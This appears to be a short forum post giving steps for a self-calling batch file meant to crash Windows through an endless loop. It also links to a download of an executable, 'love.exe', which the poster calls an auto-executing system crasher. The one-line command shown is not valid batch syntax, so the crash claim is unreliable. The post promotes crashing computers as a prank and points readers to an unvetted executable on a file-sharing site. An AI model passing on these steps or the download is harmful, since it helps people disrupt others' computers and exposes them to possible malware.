Here's how you can crash a Windows OS without Anti-Virus or FireWall enabled with just 10 characters coding(I've made this myself.):

1. Open notepad or any text editor.
2. Enter "exec x.bat"
3. Save the file as "x.bat"
4. Run it and lol

Run that for 10-15 minutes, guaranteed crash! Now here's the way to stop it, you click log-out button it forces the looping program to close, then you click cancel to cancel log-out or simply log-out and log-in again. But beside that, there's no way you can close it without restarting your system.

I've uploaded the auto-executing system crasher. Obey copyright guys, it's my work!!! LOL Run it and see if you can survive:

2shared - download love.exe